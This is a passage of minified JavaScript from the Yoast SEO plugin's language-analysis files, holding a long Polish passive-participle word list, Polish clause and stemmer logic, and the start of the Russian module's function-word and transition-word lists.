chrobotani","wychwalani","wychwyceni","wychylani","wychyleni","wyciągani","wyciekani","wycieniowani","wycierani","wycinani","wyciskani","wyciszani","wyciszeni","wycofani","wyćwiczeni","wycyckani","wycyganieni","wyczarowani","wyczarterowani","wyczekani","wyczekiwani","wyczerpani","wyczesani","wyczołgani","wyczołgiwani","wyczuwani","wyczyniani","wyczyszczeni","wyczytani","wyczytywani","wydalani","wydaleni","wydani","wydębieni","wydedukowani","wydelegowani","wydepilowani","wydeptywani","wydłubani","wydłubywani","wydłużani","wydłużeni","wydmuchani","wydmuchiwani","wydobywani","wydojeni","wydoroślani","wydostani","wydrani","wydrapani","wydrapywani","wydrążeni","wydrukowani","wydukani","wyduszeni","wydychani","wydziedziczeni","wydzielani","wydzieleni","wydzierani","wydzierżawieni","wydziobani","wydziwiani","wydzwaniani","wyedukowani","wyedytowani","wyeeliminowani","wyegzekwowani","wyeksmitowani","wyekspediowani","wyeksploatowani","wyeksponowani","wyeksportowani","wyeliminowani","wyemigrowani","wyemitowani","wyewoluowani","wygadani","wygadywani","wyganiani","wygarbowani","wygarniani","wygasani","wygaszani","wygaszeni","wygenerowani","wyginani","wygładzani","wygładzeni","wygłaszani","wygłodzeni","wygłosowani","wygłoszeni","wygłówkowani","wygnani","wygoleni","wygonieni","wygooglowani","wygospodarowani","wygotowani","wygrani","wygrawerowani","wygrażani","wygrywani","wygryzieni","wygrzani","wygrzebani","wygrzebywani","wygrzewani","wygubieni","wyhaczeni","wyhaftowani","wyhamowani","wyhodowani","wyizolowani","wyjadani","wyjaśniani","wyjaśnieni","wyjawiani","wyjawieni","wyjedzeni","wyjmowani","wykadrowani","wykalibrowani","wykalkulowani","wykańczani","wykantowani","wykąpani","wykaraskani","wykarczowani","wykarmiani","wykasowani","wykastrowani","wykazani","wykazywani","wykierowani","wykitowani","wykiwani","wykładani","wyklarowani","wyklepani","wyklinani","wykłócani","wykluczani","wykluczeni","wykminieni","wykolejeni","wykołowani","wykombinowani","wykonani","wykończeni","wykonywani","wykopani","wykopywani","wykorkowani","wykorzeniani","wykorzenieni","wykorzystani","wykorzystywani","wykoszeni","wykradani","wykręcani","wykręceni","wykreowani","wykreślani","wykreśleni","wykrochmaleni","wykrojeni","wykrwawiani","wykrwawieni","wykrywani","wykrzesani","wykrztuszeni","wykrzyczeni","wykrzykiwani","wykrzywiani","wykształceni","wyksztuszeni","wykupieni","wykupywani","wykuwani","wyłączani","wyłączeni","wylądowani","wyładowani","wyładowywani","wyłajani","wyłamani","wyłamywani","wyłaniani","wylansowani","wylani","wyłapani","wyłapywani","wyławiani","wyleasingowani","wyleczeni","wylęgani","wylegimytowani","wylewani","wyłgani","wylicytowani","wyliczani","wyliczeni","wylizani","wylizywani","wylogowani","wyłonieni","wylosowani","wyłowieni","wyłożeni","wyłudzani","wyłudzeni","wyłupani","wyłuskani","wyłuskiwani","wyłuszczeni","wyluzowani","wymacani","wymachiwani","wymagani","wymahiwani","wymalowani","wymamrotani","wymanewrowani","wymarzeni","wymasowani","wymawiani","wymazani","wymazywani","wymeldowani","wymeldowywani","wymiatani","wymiecieni","wymieniani","wymienieni","wymierzani","wymieszani","wymigani","wymigiwani","wymijani","wymoczeni","wymodelowani","wymontowani","wymordowani","wymuszani","wymyślani","wymyśleni","wynagradzani","wynagrodzeni","wynajdowani","wynajdywani","wynajmowani","wynalezieni","wynarodowieni","wynegocjowani","wyniesieni","wyniszczani","wyniszczeni","wyniuchani","wynoszeni","wynurzani","wyobrażani","wyobrażeni","wyodrębnieni","wyolbrzymiani","wyolbrzymieni","wyorbowani","wyosiowani","wyostrzani","wyostrzeni","wypaczani","wypakowani","wypakowywani","wypalani","wypaleni","wypałowani","wyparowani","wypasani","wypastowani","wypatroszeni","wypatrywani","wypatrzeni","wypchani","wypędzani","wypędzlowani","wypełniani","wypełnieni","wypersfadowani","wyperswadowani","wypierani","wypijani","wypinani","wypisani","wypisywani","wypłacani","wypłaceni","wypłakani","wypłakiwani","wypłaszczeni","wyplatani","wyplątani","wyplenieni","wyplewieni","wypłoszeni","wypłukani","wypłukiwani","wypluwani","wypoceni","wypolerowani","wypominani","wypomniani","wypompowani","wypompowywani","wyposażeni","wypowiadani","wypowiedziani","wypoziomowani","wypożyczani","wypracowani","wypracowywani","wyprani","wyprasowani","wypraszani","wyprawiani","wyprawieni","wypróbowani","wyprodukowani","wyprojektowani","wypromieniowani","wypromowani","wyprostowani","wyprostowywani","wyproszeni","wyprowadzani","wyprowadzeni","wypróżniani","wypróżnieni","wypruwani","wyprzedani","wyprzedawani","wyprzedzani","wyprzedzeni","wyprzęgani","wypstrykani","wypucowani","wypuszczani","wypuszczeni","wypychani","wypytani","wypytywani","wyrąbani","wyrabiani","wyrąbywani","wyratowani","wyrażani","wyrażeni","wyrecytowani","wyręczani","wyręczeni","wyregulowani","wyrejestrowani","wyremontowani","wyreżyserowani","wyrobieni","wyrolowani","wyrównani","wyrównywani","wyróżniani","wyróżnieni","wyrugowani","wyruszani","wyrwani","wyrypani","wyrysowani","wyrywani","wyrządzeni","wyrzeźbieni","wyrzucani","wyrzuceni","wyrzygani","wyrzynani","wyrzywani","wysączeni","wysadzani","wysadzeni","wyściskani","wyselekcjonowani","wysępieni","wysiadywani","wysiedzeni","wysilani","wysileni","wyskakiwani","wyskalowani","wyskoczeni","wyskrobani","wyskubywani","wysłani","wyśledzeni","wyślizgiwani","wysłowieni","wysłuchani","wysłuchiwani","wysmagani","wysmarkani","wysmarowani","wysmażani","wysmażeni","wyśmiani","wyśmiewani","wysmołowani","wysmyrani","wyśnieni","wysnuwani","wysondowani","wyspecjalizowani","wyśpiewani","wyśpiewywani","wyspowiadani","wysprzątani","wysprzedani","wyssani","wystartowani","wystawieni","wysterelizowani","wysterylizowani","wystosowani","wystosowywani","wystraszeni","wystrojeni","wystrugani","wystrzegani","wystrzelani","wystrzeliwani","wystrzeleni","wystudzeni","wystukani","wystukiwani","wysuszani","wysuwani","wyswatani","wyświadczani","wyświadczeni","wyświetlani","wyświetleni","wyswobodzeni","wysyłani","wysypani","wysypywani","wysysani","wyszabrowani","wyszalani","wyszarpani","wyszasowani","wyszczotkowani","wyszczupleni","wyszeptani","wyszkoleni","wyszlifowani","wyszorowani","wyszperani","wyszukani","wyszukiwani","wyszumieni","wyszykowani","wytapetowani","wytargani","wytargowani","wytarzani","wytaszczeni","wytatuowani","wytępieni","wytłoczeni","wytłumaczeni","wytłumieni","wytoczeni","wytrąbieni","wytrącani","wytrąceni","wytransmitowani","wytransportowani","wytrenowani","wytresowani","wytriangulowani","wytropieni","wytrząsani","wytrzebieni","wytrzepani","wytrzeszczani","wytrzeźwiani","wytrzymani","wytrzymywani","wytwarzani","wytworzeni","wytyczeni","wytykani","wytypowani","wyuczeni","wywabiani","wywabieni","wywąchani","wywalani","wywalczeni","wywaleni","wywarzani","wyważani","wyważeni","wywęszani","wywężykowani","wywiani","wywiązani","wywiązywani","wywierani","wywierceni","wywieszani","wywieszeni","wywietrzeni","wywiezieni","wywijani","wywindowani","wywłaszczeni","wywlekani","wywnętrznieni","wywnioskowani","wywodzeni","wywolani","wywoływani","wywoskowani","wywożeni","wywracani","wywróceni","wywróżeni","wywyższani","wyżaleni","wyzdrowieni","wyżebrani","wyżerani","wyzerowani","wyznaczani","wyznaczeni","wyznani","wyznawani","wyzwalani","wyzwani","wyzwoleni","wyzygzakowani","wyżynani","wyzyskani","wyzyskiwani","wyzywani","wyżywani","wyżywieni","wzbijani","wzbogacani","wzbogaceni","wzbraniani","wzbudzani","wzbudzeni","wzburzani","wzburzeni","wżenieni","wzmacnieni","wzmagani","wzmocnieni","wznawiani","wzniecani","wzniecieni","wznoszeni","wznowieni","wzorowani","wzruszeni","wzwyżani","wzywani","zaabordowani","zaadaptowani","zaadoptowani","zaadresowani","zaakcentowani","zaakceptowani","zaaklimatyzowani","zaalarmowani","zaanektowani","zaangażowani","zaanonsowani","zaapelowani","zaaplikowani","zaaportowani","zaaprobowani","zaaranżowani","zaaresztowani","zaatakowani","zabaczeni","zabalowani","zabandażowani","zabarwieni","zabarykadowani","zabawiani","zabawieni","zabepieczani","zabetonowani","zabezpieczeni","zabierani","zabłądzeni","zablefowani","zabłoceni","zablokowani","zabraniani","zabrani","zabronieni","zabrudzeni","zabudowani","zabukowani","zabuleni","zaburzeni","zabutelkowani","zacementowani","zacerowani","zachciani","zachęcani","zachęceni","zachlapani","zachodzeni","zachomikowani","zachorowani","zachowani","zachowywani","zachwalani","zachwaleni","zachwiani","zachwyceni","zaciągani","zaciążeni","zaciekawieni","zaciemniani","zaciemnieni","zacierani","zacieśnieni","zacinani","zaciskani","zaćmieni","zacumowani","zacytowani","zaczadzeni","zaczarowani","zaczepiani","zaczepieni","zaczerpani","zaczesani","zaczołgani","zaczynani","zadawalani","zadawani","zadbani","zadebiutowani","zadedykowani","zadeklamowani","zadeklarowani","zademonstrowani","zadenucjowani","zadepeszowani","zadeptani","zadeptywani","zadławieni","żądleni","zadłużani","zadłużeni","zadokowani","zadomowieni","zadowalani","zadrapani","zadręczani","zadręczeni","zadrutowani","zadurzani","zadurzeni","zaduszeni","zadymieni","zadźgani","zadziobani","zadziwiani","zadziwieni","zafakturowani","zafałszowani","zafarbowani","zafiksowani","zafundowani","zagadani","zagadywani","zagajeni","zaganiani","zagapieni","zagarażowani","zagarniani","zagaszeni","zagazowani","zagęszczeni","zaginani","zagłębiani","zagłębieni","zagłodzeni","zagłuszani","zagłuszeni","zagmatwani","zagnani","zagnieżdżeni","zagojeni","zagonieni","zagospodarowani","zagotowani","zagrabieni","zagradzani","zagrażani","zagrodzeni","zagrywani","zagryzani","zagryzieni","zagrzani","zagrzebani","zagrzewani","zagubieni","zagwarantowani","zahaczeni","zahamowani","zahandlowani","zaharowani","zahartowani","zahipnotyzowani","zaholowani","zaimitowani","zaimplantowani","zaimplementowani","zaimprowizowani","zainaugurowani","zainfekowani","zainicjowani","zainkasowani","zainscenizowani","zainspirowani","zainstalowani","zainteresowani","zaintrygowani","zaintubowani","zainwestowani","zaizolowani","zajadani","zajani","zajarani","zajechani","zajmowani","zakablowani","zakamuflowani","zakasani","zakasowani","zakąszani","zakatalogowani","zakatowani","zakatrupieni","zakazani","zakażani","zakazywani","zakiszeni","zakładani","zaklasyfikowani","zaklejani","zaklejeni","zaklepani","zaklepywani","zaklinani","zaklinowani","zakłócani","zakłóceni","zaklopotani","zakneblowani","zakodowani","zakolczykowani","zakolorowani","zakołysani","zakomunikowani","zakończeni","zakonserwowani","zakopani","zakopywani","zakorzeniani","zakorzenieni","zakoszeni","zakosztowani","zakotwiczani","zakotwiczeni","zakpieni","zakradani","zakręcani","zakręceni","zakreślani","zakreśleni","zakrwawieni","zakrywani","zakrzyczani","zakrzywiani","zakrzywieni","zaksięgowani","zaktualizowani","zaktywizowani","zaktywowani","zakumani","zakupieni","zakurzeni","zakuwani","zakwaterowani","załączeni","załadowani","załagodzeni","zalamani","zalaminowani","załamywani","zalani","załapani","załatani","załatwiani","załatwieni","zalatywani","zalecani","zaleceni","zaleczeni","zalegalizowani","zalegani","zalepiani","zalepieni","zalewani","zaliczani","zaliczeni","załkani","zalogowani","żałowani","założeni","zaludnieni","zamacani","zamąceni","zamalowani","zamanewrowani","zamanifestowani","zamarkowani","zamartwiani","zamarynowani","zamarzani","zamaskowani","zamawiani","zamazani","zamazywani","zamęczani","zamęczeni","zameldowani","zamelinowani","zamerykanizowani","zamiatani","zamieniani","zamienieni","zamieszani","zamieszczani","zamieszczeni","zamieszkani","zamieszkiwani","zaminowani","zamocowani","zamoczeni","zamontowani","zamordowani","zamortyzowani","zamotani","zamówieni","zamrażani","zamroczeni","zamrożeni","zamulani","zamurowani","zamydleni","zamykani","zanalizowani","zanegowani","zaniechani","zanieczyszczani","zanieczyszczeni","zaniedbani","zaniedbywani","zaniepokojeni","zaniesieni","zanihilowani","zanikani","zaniżani","zaniżeni","zanoszeni","zanotowani","zanuceni","zanudzani","zanudzeni","zanurzani","zanurzeni","zanużeni","zaobaczeni","zaobserwowani","zaoferowani","zaofiarowani","zaogniani","zaognieni","zaokrąglani","zaokrągleni","zaokrętowani","zaopatrywani","zaopatrzeni","zaopiekowani","zaorani","zaostrzani","zaostrzeni","zaoszczędzeni","zapadani","zapakowani","zapalani","zapaleni","zapamiętani","zapamiętywani","zapanowani","zaparkowani","zaparowywani","zaparzani","zaparzeni","zapaskudzeni","zapauzowani","zapchani","zapędzani","zapełniani","zapełnieni","zaperfumowani","zapeszani","zapewniani","zapewnieni","zapieczętowani","zapierani","zapijani","zapinani","zapisani","zapisuwani","zapłaceni","zapładniani","zaplamieni","zaplanowani","zaplątani","zapłodnieni","zaplombowani","zapobiegani","zapodani","zapodawani","zapodziani","zapokojeni","zapolowani","zapominani","zapomniani","zapowiadani","zapowiedziani","zapoznani","zapoznawani","zapożyczeni","zapracowywani","zaprani","zaprasowywani","zapraszani","zaprawieni","zaprenumerowani","zaprezentowani","Zaprogramowani","zaprojektowani","zaproponowani","zaproszeni","zaprotokołowani","zaprowadzani","zaprowadzeni","zaprzątani","zaprzeczani","zaprzeczeni","zaprzedani","zaprzedawani","zaprzęgani","zaprzepaszczani","zaprzestani","zaprzestawani","zaprzyjaźnieni","zapudłowani","zapunktowani","zapuszczani","zapuszczeni","zapuszkowani","zapychani","zapylani","zapyleni","zapytani","zarabiani","zaranżowani","zarażani","zarażeni","zarecytowani","zaręczani","zaręczeni","zarejestrowani","zareklamowani","zarekomendowani","zarekomondowani","zarekwirowani","zarezerwowani","zarobieni","żartowani","zarwani","zaryglowani","zarymowani","zarysowani","zarywani","zaryzykowani","zarządzani","zarzucani","zarzynani","zasadzeni","zaścieleni","zasegurowani","zaserwowani","zasiadani","zasiani","zasiedleni","zasięgani","zasiewani","zasilani","zasileni","zaskakiwani","zaskarbieni","zaskoczeni","zaskrobani","zasłaniani","zaślepiani","zaślepieni","zasłodzeni","zasłonieni","zasłużeni","zasmakowani","zaśmiecani","zaśmieceni","zasmradzani","zasmrodzeni","zasmucani","zasmuceni","zasoleni","zaspakajani","zaśpiewani","zaspokajani","zaspokojeni","zasponsorowani","zaśrubowywani","zassani","zastani","zastąpieni","zastawiani","zastawieni","zastępowani","zastopowani","zastosowani","zastraszani","zastraszeni","zastrzeleni","zasugerowani","zasuwani","zaświadczeni","zaświeceni","zaświonieni","zasyfieni","zasygnalizowani","zasymilowani","zasymulowani","zasypani","zasypywani","zasysani","zaszachowani","zaszantażowani","zaszargani","zaszczepiani","zaszczepieni","zaszczycani","zaszczyceni","zaszeptani","zaszeregowani","zaszlachtowani","zasznurowani","zaszpachlowani","zasztyletowani","zaszufladkowani","zaszyfrowani","zaszywani","zataczani","zatajani","zatajeni","zatamowani","zatankowani","zatapiani","zatargani","zatelegrafowani","zatemperowani","zatęsknieni","zatkani","zatoczeni","zatopieni","zatracani","zatraceni","zatriumfowani","zatrudniani","zatrudnieni","zatruwani","zatrzaskiwani","zatrzymani","zatrzymywani","zatuszowani","zatwierdzani","zatwierdzeni","zatykani","zatynkowani","zatytułowani","zauploadowani","zauroczeni","zautomatyzowani","zauważani","zauważeni","zawadzani","zawalani","zawalczeni","zawaleni","zaważeni","zawdzięczani","zawetowani","zawężeni","zawiadamiani","zawiadomieni","zawiązani","zawiązywani","zawiedzeni","zawierani","zawierzeni","zawieszani","zawieszeni","zawiezieni","zawijani","zawinieni","zawitani","zawłaszczeni","zawodzeni","zawojowani","zawołani","zawoskowani","zawożeni","zawracani","zawróceni","zawstydzani","zażądani","zażartowani","zazdroszczeni","zażegnani","zażenowani","zaznaczani","zaznajomieni","zaznani","zaznawani","zażyczeni","zażywani","zbaczani","zbadani","zbagatelizowani","zbajerowani","zbałamuceni","zbalansowani","zbalsamowani","zbankrutowani","zbawiani","zbawieni","zbesztani","zbezczeszczeni","zbierani","zbijani","zbliżeni","zbluzgani","zbojkotowani","zbrojeni","zbrukani","zbszczeceni","zbudowani","zbudzeni","zbuntowani","zburzeni","zbywani","zchwytani","zciszeni","zdani","zdeaktywowani","zdecydowani","zdefiniowani","zdeflorowani","zdegradowani","zdejmowani","zdeklarowani","zdekodowani","zdekompresowani","zdekoncentrowani","zdekonstruowani","zdelegalizowani","zdemaskowani","zdementowani","zdemolowani","zdemontowani","zdemoralizowani","zdenerwowani","zdeponowani","zdeprymowani","zdeptani","zderzani","zderzeni","zdestabilizowani","Zdetonowani","zdetronizowani","zdewastowani","zdewaulowani","zdezerterowani","zdezintegrowani","zdezorientowani","zdezynfektowani","zdiagnozowani","zdławieni","zdmuchiwani","zdobywani","zdołowani","zdominowani","zdopingowani","zdrabniani","zdradzani","zdradzeni","zdrapani","zdrapywani","zdrutowani","zdruzgotani","zduplikowani","zduszeni","zdwojeni","zdyscyplinowani","zdyskredytowani","zdyskwalifikowani","zdystansowani","zdzieleni","zdzierani","zdzierżeni","zdziesiątkowani","zdzwonieni","zebrani","zechciani","zedytowani","żegnani","żenieni","żerowani","zerwani","zeskakiwani","zeskanowani","zeskrobywani","zesłani","ześlizgiwani","zesmoleni","zespawiani","zespoleni","zessani","zestawiani","zestawieni","zestresowani","zestrzeliwani","zestrzeleni","zeswatani","zeszkleni","zeszlifowani","zezłoszczeni","zeznani","zeznawani","zezwalani","zezwoleni","zfinansowani","zgadani","zgadywani","zgajani","zganieni","zgaszeni","zginani","zgładzeni","zgłaszani","zgłębiani","zgłębieni","zgłośnieni","zgłoszeni","zgłuszeni","zgniatani","zgniecieni","zgnojeni","zgodzeni","zgoleni","zgonieni","zgotowani","zgrabieni","zgrillowani","zgromadzani","zgromadzeni","zgrupowani","zgrzeszeni","zgrzytani","zgubieni","zgwałceni","zhackowani","zhakowani","zhańbieni","zhandlowani","zharmonizowani","zidentyfikowani","ziewani","zignorowani","zilustrowani","zinfiltrowani","zintegrowani","zintensyfikowani","zinterpretowani","zinwentaryzowani","zirytowani","zjadani","zjawiani","zjednani","zjednoczeni","zjedzeni","zjeżdżeni","zkontaktowani","zkserowani","złączeni","złagodzeni","złajani","złamani","zlani","złapani","zlecani","zleceni","zlekceważeni","zlepiani","zlepieni","zlewani","zlicytowani","zliczani","zliczeni","zlikwidowani","zlinczowani","zlitowani","zlizani","zlizywani","zlokalizowani","złomowani","żłopani","złowieni","złożeni","złupieni","złuszczani","zluzowani","zmacani","zmąceni","zmagani","zmagazynowani","zmajstrowani","zmaksylizowani","zmanipulowani","zmarnowani","zmartwychwstani","zmasakrowani","zmaterializowani","zmawiani","zmazani","zmazywani","zmbobardowani","zmiatani","zmiażdżeni","zmiękczeni","zmieleni","zmieniani","zmienieni","zmierzani","zmierzeni","zmierzwieni","zmieszani","zmieszczeni","zmiksowani","zminiaturyzowani","zminimalizowani","zmniejszani","zmniejszeni","zmobilizowani","zmoczeni","zmodernizowani","zmodyfikowani","zmonopolizowani","zmontowani","zmostkowani","zmotywowani","zmówieni","zmrożeni","zmrużeni","zmumifikowani","zmuszani","zmuszeni","zmutowani","zmyślani","zmywani","znacjonalizowani","znajdowani","znajdywani","znakowani","znalezieni","znani","znęcani","zneutralizowani","zniechęceni","znieczuleni","zniekształcani","zniekształceni","znienawidzeni","znieprawieni","zniesieni","zniesławiani","zniesławieni","zniewalani","znieważani","znieważeni","zniewoleni","zniszczeni","zniweczeni","zniwelowani","zniżani","zniżeni","znokautowani","znormalnieni","znoszeni","znudzeni","zobaczeni","zobowiązani","zobrazowani","zogniskowani","żonglowani","zoomowani","zoperowani","zoptymalizowani","zorganizowani","zorientowani","zostawiani","zostawieni","zpłaceni","zprowokowani","zrabowani","zrachowani","zracjonalizowani","zranieni","zraportowani","zrażani","zrażeni","zrealizowani","zrecenzowani","zredagowani","zredukowani","zreferowani","zreformowani","zrefowani","zrefundowani","zregenerowani","zrehabilitowani","zreinkarnowani","zreintegrowani","zrekonfigurowani","zrekonstruowani","zrekrutowani","zrekrystalizowani","zrelacjonowani","zrelaksowani","zremiksowani","zremisowani","zreorganizowani","zreperowani","zreplikowani","zresetowani","zresocjalizowani","zrestartowani","zrestrukturyzowani","zrewanżowani","zrewidowani","zrewolucjenizowani","zrezygnowani","zrobieni","zrolowani","zroszeni","zrównani","zrównoważeni","zrównywani","zróżnicowani","zrozumiani","zrugani","zruinowani","zrujnowani","zrymowani","zrywani","zrzędzeni","zrzeszeni","zrzucani","zrzuceni","zsumowani","zsuwani","zsynchronizowani","zsyntetyzowani","zsypywani","zszargani","zszokowani","zszywani","zutylizowani","zużywani","zwabiani","zwabieni","zwalani","zwalczeni","zwalniani","zwaleni","zwani","zwaporyzowani","zwątpieni","zważani","zważeni","zwędzeni","zwerbalizowani","zwerbowani","zweryfikowani","zwęszeni","zwężeni","zwiastowani","związani","związywani","zwiedzani","zwiedzeni","zwiększeni","zwieńczeni","zwierzani","zwieszani","zwieszeni","zwietrzeni","zwijani","zwilżeni","zwizualizowani","zwlekani","zwodowani","zwodzeni","zwołani","zwolnieni","zwoływani","zwożeni","zwracani","zwróceni","zwyciężani","zwymiotowani","życzeni","żygani","zygzakowani","zyskani","zyskiwani","zżerani","zżynani","konsakrowany","konsakrowana","konsakrowane","konsakrowani"],{getWords:aa}=o.languageProcessing,{nonDirectPrecedenceException:na,directPrecedenceException:oa,values:ia}=o.languageProcessing,{Clause:za}=ia,{getClausesSplitOnStopWords:ea,createRegexFromArray:wa}=o.languageProcessing,ya={Clause:class extends za{constructor(a,n){super(a,n),this._participles=function(a){return aa(a).filter((a=>(0,Y.includes)($,a)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const a=this.getClauseText(),n=this.getAuxiliaries(),o=this.getParticiples().filter((o=>!oa(a,o,J)&&!na(a,o,n,K)));this.setPassive(o.length>0)}},regexes:{auxiliaryRegex:wa(["być","jestem","jesteś","jest","jesteśmy","jesteście","są","byłam","byłem","byłeś","byłaś","był","była","było","byłoby","byliśmy","byłyśmy","byliście","byłyście","byli","były","będę","będziesz","będzie","będziemy","będziecie","będą","byłabym","byłbym","byłbyś","byłabyś","byłaby","byłby","bylibyśmy","byłybyśmy","bylibyście","byłybyście","byłby","byłaby","byliby","byłyby","zostać","zostaje","zostajesz","zostaję","zostajecie","zostajemy","zostają","zostanę","zostaniesz","zostanie","zostaniemy","zostaniecie","zostaną","zostałem","zostałam","zostałaś","zostałeś","został","została","zostało","zostaliśmy","zostałyśmy","zostaliście","zostałyście","zostali","zostały","zostałbym","zostałabym","zostałbyś","zostałabyś","zostałby","zostałaby","zostałybyśmy","zostalibyśmy","zostalibyście","zostałybyście","zostaliby","zostałyby"]),stopwordRegex:wa(Q)}};function ra(a){return ea(a,ya)}const pa=function(a,n,o,i){if(a.length>n){const n=function(a,n){return n.find((n=>a.endsWith(n)))||""}(a,o);if(""!==n)return a.slice(0,-i)}},sa=function(a,n){const o=Object.entries(n);for(const n of o){const o=n[1].wordShouldBeLongerThan,i=n[1].wordEndings,z=n[1].suffixLength,e=pa(a,o,i,z);if(e)return e}},{baseStemmer:ta}=o.languageProcessing;function da(a){const n=(0,Y.get)(a.getData("morphology"),"pl",!1);return n?a=>function(a,n){const o=n.externalStemmer;let i=n.dictionary.stems[a];return i&&(a=i),a.toLowerCase(),a.length<4?a:(i=sa(a,o.diminutiveSuffixes),i||(i=sa(a,o.nounSuffixes)),i||(i=sa(a,o.verbSuffixes)),i||(i=function(a,n){const o=sa(a,n.adjectiveAndAdverbSuffixes);if(o)return a.startsWith(n.superlativePrefix)?o.slice(3):o}(a,o)),i&&(a=i),i=sa(a,o.generalSuffixes),i||a)}(a,n):ta}const{AbstractResearcher:ca}=o.languageProcessing;class ka extends ca{constructor(a){super(a),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"pl",passiveConstructionType:"periphrastic",firstWordExceptions:i,functionWords:N,stopWords:Q,transitionWords:e,twoPartTransitionWords:V,sentenceLength:X}),Object.assign(this.helpers,{getClauses:ra,getStemmer:da})}}(window.yoast=window.yoast||{}).Researcher=n})();wordpress-seo/js/dist/languages/ru.js000064400001160062147510273070013705 0ustar00(()=>{"use strict";var e={d:(t,r)=>{for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>Y});const r=window.yoast.analysis,n=["один","одна","одно","два","две","три","четыре","пять","шесть","семь","восемь","девять","десять","этот","этого","этому","этим","этом","эта","этой","эту","это","этого","этому","эти","этих","этим","этими","тот","того","тому","тем","том","та","той","ту","те","тех","тем","теми","тех","такой","такого","такому","таким","такая","такую","такое","такие","таких","таким","такими","стольких","стольким","столько","столькими","вот"],s=["безусловно","бесспорно","вероятно","вестимо","вдобавок","видимо","вишь","во-вторых","во-первых","вообще-то","впрочем","дабы","едва","ежели","если","затем ","зачем","ибо","итак","так","кабы","кажется","кажись","коли","кстати","лишь","лучше","наверно","наверное","например","небось","нежели","несомненно","но","однако","особенно","оттого","отчего","поди","пожалуй","позволь","позвольте","покамест","покуда","поскольку","потому","притом","причем","только","хотя","чтоб","чтобы","чуть","якобы"],o=s.concat(["а вдобавок","а вот","а именно","а не то","а не","а потом","а также","без всякого сомнения","без того чтобы не","без того, чтобы не","благодаря тому","более того","будто бы","будь то","буквально","в итоге","в конце концов","в общей сложности","в общем-то","в общем","в отношении того что","в отношении того, что","в принципе","в противовес тому что","в противовес тому, что","в противоположность тому","в результате","в самом деле","в свою очередь","в связи с тем что","в связи с тем","в силу того что","в силу того","в силу чего","в случа","в сравнении с тем","в сущности говоря","в сущности","в таком случае","в то время как","в то время, как","в том случае","в частности","в-третьих","ввиду того","вернее говоря","вероятнее всего","видите ли","видишь ли","вместе с тем","вместо того","вне всякого сомнения","вне сомнения","во всяком случае","воля ваша","воля твоя","вообще говоря","вопреки тому","вплоть до того","вроде того как","вроде того что","вроде того","вроде того","вследствие того что","вследствие чего","грубо говоря","да еще","да и то","дай бог память","даром что","для того чтобы","для того, чтобы","до тех пор пока","до тех пор, пока","до того как","до того, как","едва лишь","едва только","ежели бы","если угодно","жалко, что","жаль, что","за счет того что","за счет того, что","знамо дело","и вот еще","из-за того что","из-за того, что","иначе говоря","исходя из того","к вашему сведению","к несчастью","к огорчению","к примеру сказать","к примеру","к прискорбию","к радости","к слову сказать","к сожалению","к стыду своему","к стыду","к счастью","к твоему сведению","к тому же","к удивлению","к ужасу","к чести","как будто","как бы там ни было","как бы то ни было","как бы","как вам известно","как вдруг","как видите","как видишь","как видно","как водится","как выяснилось","как выясняется","как говорилось","как говорится","как если бы","как знать","как известно","как на заказ","как назло","как нарочно","как ни говори","как ни говорите","как ни странно","как оказалось","как оказывается","как полагается","как положено","как правило","как принято говорить","как принято","как сказано","как скоро","как следствие","как словно","как только","как хотите","как это ни странно","ко всему прочему","коль скоро","коль уж","коротко говоря","короче говоря","кроме всего прочего","кстати говоря","кстати сказать","лишь бы","лишь только","мало сказать","мало того","между нами говоря","между прочим","между тем как","может статься","можно подумать","мягко выражаясь","мягко говоря","на беду","на ваш взгляд","на мой взгляд","на несчастье","на основании того что","на основании того, что","на первый взгляд","на самом деле","на случай","на твой взгляд","на худой конец","надо полагать","наряду с тем что","наряду с тем","насчет того что","насчет того, что","не в пример тому как","не в пример тому, как","не то чтобы","невзирая на то","независимо от того","несмотря на то","ничего не скажешь","но вообще-то","кроме того","однако же","откровенно сказать","относительно того что","относительно того, что","перед тем","по вашему мнению","по видимости","по всей вероятности","по всей видимости","по данным","по замыслу","по идее","по крайней мере","по мере того как","по мере того, как","по мнению","по моему мнению","по обыкновению","по обычаю","по определению","по поводу того","по правде говоря","по правде сказать","по правде","по преданию","по причине того","по прогнозам","по сведениям","по своему обыкновению","по слухам","по совести говоря","по совести сказать","по совести","по сообщению","по сообщениям","по справедливости говоря","по справедливости","по сравнению","по статистике","по сути говоря","по сути дела","по сути","по существу говоря","по существу","по счастью","по твоему мнению","по чести говоря","по чести признаться","по чести сказать","по-вашему","по-видимому","по-ихнему","по-моему","по-нашему","по-твоему","под видом того что","под видом того, что","под предлогом","подобно тому","подумать только","помимо всего прочего","помимо всего","помимо того","помимо того","помимо этого","понятное дело","попросту говоря","попросту сказать","после того","потому как","потому что","правду говоря","правду сказать","правильнее говоря","прежде всего","прежде нежели","прежде чем","при всем том","при условии что","при условии, что","против обыкновения","проще говоря","проще сказать","прямо-таки как","пускай бы","равно как","ради того чтобы","разве что","разумеется","с вашего позволения","с вашего разрешения","с другой стороны","с моей точки зрения","с одной стороны","с позволения сказать","с твоего позволения","с твоего разрешения","с тем чтобы","с тех пор как","с той целью чтобы","с точки зрения","само собой разумеется","сверх того что","сверх того","сказать по правде","сказать по совести","сказать по чести","скорее всего","смотря по тому","со своей стороны","собственно говоря","совсем как","стало быть","стоит отметить","строго говоря","судя по всему","судя по тому","так или иначе","так как","так что","так чтобы","тем более что","тем не менее","тем паче что","то бишь","то есть","тогда как","только бы","только лишь","только чуть","точнее говоря","точнее сказать","точно так же","что и говорить","что ни говори","что ни говорите","чуть лишь","чуть только","шутка ли сказать","шутка ли","шутка сказать","это значит, что"]);function i(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}const 